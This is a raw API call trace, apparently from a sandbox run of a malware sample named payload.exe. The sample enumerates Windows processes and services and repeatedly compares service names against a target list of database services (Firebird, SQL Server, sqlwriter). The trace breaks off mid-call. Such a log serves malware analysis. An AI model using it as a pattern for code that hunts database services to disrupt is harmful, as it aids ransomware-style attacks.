lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0151.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0151.309] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0151.309] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0151.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0151.309] lstrlenW (lpString="PcaSvc") returned 6 [0151.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0151.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0151.309] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0151.309] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0151.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0151.309] lstrlenW (lpString="PlugPlay") returned 8 [0151.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0151.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0151.309] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0151.310] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0151.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0151.310] lstrlenW (lpString="Power") returned 5 [0151.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0151.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0151.310] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0151.310] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0151.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0151.310] lstrlenW (lpString="ProfSvc") returned 7 [0151.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0151.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0151.310] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0151.310] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0151.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0151.310] lstrlenW (lpString="RpcEptMapper") returned 12 [0151.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0151.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0151.310] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0151.310] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0151.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0151.310] lstrlenW (lpString="RpcSs") returned 5 [0151.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0151.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0151.310] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0151.310] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0151.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0151.310] lstrlenW (lpString="SamSs") returned 5 [0151.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0151.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0151.310] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0151.310] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0151.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0151.310] lstrlenW (lpString="Schedule") returned 8 [0151.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0151.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0151.310] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0151.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0151.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0151.311] lstrlenW (lpString="SecurityHealthService") returned 21 [0151.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0151.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0151.311] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0151.311] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0151.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0151.311] lstrlenW (lpString="SENS") returned 4 [0151.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0151.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0151.311] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0151.311] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0151.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0151.311] lstrlenW (lpString="ShellHWDetection") returned 16 [0151.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0151.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0151.311] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0151.311] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0151.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0151.311] lstrlenW (lpString="Spooler") returned 7 [0151.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0151.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0151.311] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0151.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0151.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0151.311] lstrlenW (lpString="StateRepository") returned 15 [0151.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0151.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0151.311] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0151.311] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0151.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0151.311] lstrlenW (lpString="SysMain") returned 7 [0151.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0151.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0151.312] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0151.312] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0151.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0151.312] lstrlenW (lpString="SystemEventsBroker") returned 18 [0151.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0151.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0151.312] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0151.312] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0151.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0151.312] lstrlenW (lpString="Themes") returned 6 [0151.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0151.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0151.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0151.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0151.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0151.312] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0151.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0151.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0151.312] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0151.312] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0151.312] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6f5958 | out: hHeap=0x660000) returned 1 [0151.312] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380 [0151.315] Process32FirstW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.316] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0151.316] lstrlenW (lpString="System") returned 6 [0151.316] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0151.317] lstrlenW (lpString="smss.exe") returned 8 [0151.317] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0151.318] lstrlenW (lpString="csrss.exe") returned 9 [0151.318] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0151.318] lstrlenW (lpString="wininit.exe") returned 11 [0151.318] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0151.319] lstrlenW (lpString="csrss.exe") returned 9 [0151.637] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0151.638] lstrlenW (lpString="winlogon.exe") returned 12 [0151.638] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0151.639] lstrlenW (lpString="services.exe") returned 12 [0151.639] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0151.639] lstrlenW (lpString="lsass.exe") returned 9 [0151.639] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.640] lstrlenW (lpString="svchost.exe") returned 11 [0151.640] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0151.641] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0151.641] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0151.641] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0151.641] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.642] lstrlenW (lpString="svchost.exe") returned 11 [0151.642] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0151.643] lstrlenW (lpString="dwm.exe") returned 7 [0151.643] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.643] lstrlenW (lpString="svchost.exe") returned 11 [0151.643] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.644] lstrlenW (lpString="svchost.exe") returned 11 [0151.644] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.644] lstrlenW (lpString="svchost.exe") returned 11 [0151.644] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.645] lstrlenW (lpString="svchost.exe") returned 11 [0151.645] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.646] lstrlenW (lpString="svchost.exe") returned 11 [0151.646] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.646] lstrlenW (lpString="svchost.exe") returned 11 [0151.646] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.647] lstrlenW (lpString="svchost.exe") returned 11 [0151.647] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.647] lstrlenW (lpString="svchost.exe") returned 11 [0151.648] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.648] lstrlenW (lpString="svchost.exe") returned 11 [0151.648] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.649] lstrlenW (lpString="svchost.exe") returned 11 [0151.649] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0151.649] lstrlenW (lpString="spoolsv.exe") returned 11 [0151.649] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.650] lstrlenW (lpString="svchost.exe") returned 11 [0151.650] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0151.650] lstrlenW (lpString="audiodg.exe") returned 11 [0151.650] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0151.651] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0151.651] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0151.652] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0151.652] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0151.652] lstrlenW (lpString="Memory Compression") returned 18 [0151.652] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0151.653] lstrlenW (lpString="sihost.exe") returned 10 [0151.653] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.653] lstrlenW (lpString="svchost.exe") returned 11 [0151.653] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0151.654] lstrlenW (lpString="taskhostw.exe") returned 13 [0151.654] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0151.654] lstrlenW (lpString="msoia.exe") returned 9 [0151.655] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0151.655] lstrlenW (lpString="explorer.exe") returned 12 [0151.655] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0151.656] lstrlenW (lpString="SearchUI.exe") returned 12 [0151.656] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0151.656] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0151.656] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0151.657] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0151.657] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0151.658] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0151.658] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0151.658] lstrlenW (lpString="payload.exe") returned 11 [0151.658] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0151.659] lstrlenW (lpString="cmd.exe") returned 7 [0151.659] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0151.659] lstrlenW (lpString="conhost.exe") returned 11 [0151.659] Process32NextW (in: hSnapshot=0x380, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0151.660] CloseHandle (hObject=0x380) returned 1 [0151.660] Sleep (dwMilliseconds=0x1f4) [0152.377] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69dbc8 [0152.377] EnumServicesStatusExW (in: hSCManager=0x69dbc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 0 [0152.378] GetLastError () returned 0xea [0152.378] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c30) returned 0x4244998 [0152.378] EnumServicesStatusExW (in: hSCManager=0x69dbc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4244998, cbBufSize=0x1c30, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4244998, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 1 [0152.378] CloseServiceHandle (hSCObject=0x69dbc8) returned 1 [0152.379] lstrlenW (lpString="Appinfo") returned 7 [0152.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0152.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0152.379] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0152.379] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0152.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0152.379] lstrlenW (lpString="AppXSvc") returned 7 [0152.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0152.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0152.379] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0152.379] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0152.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0152.379] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0152.379] lstrcmpiW 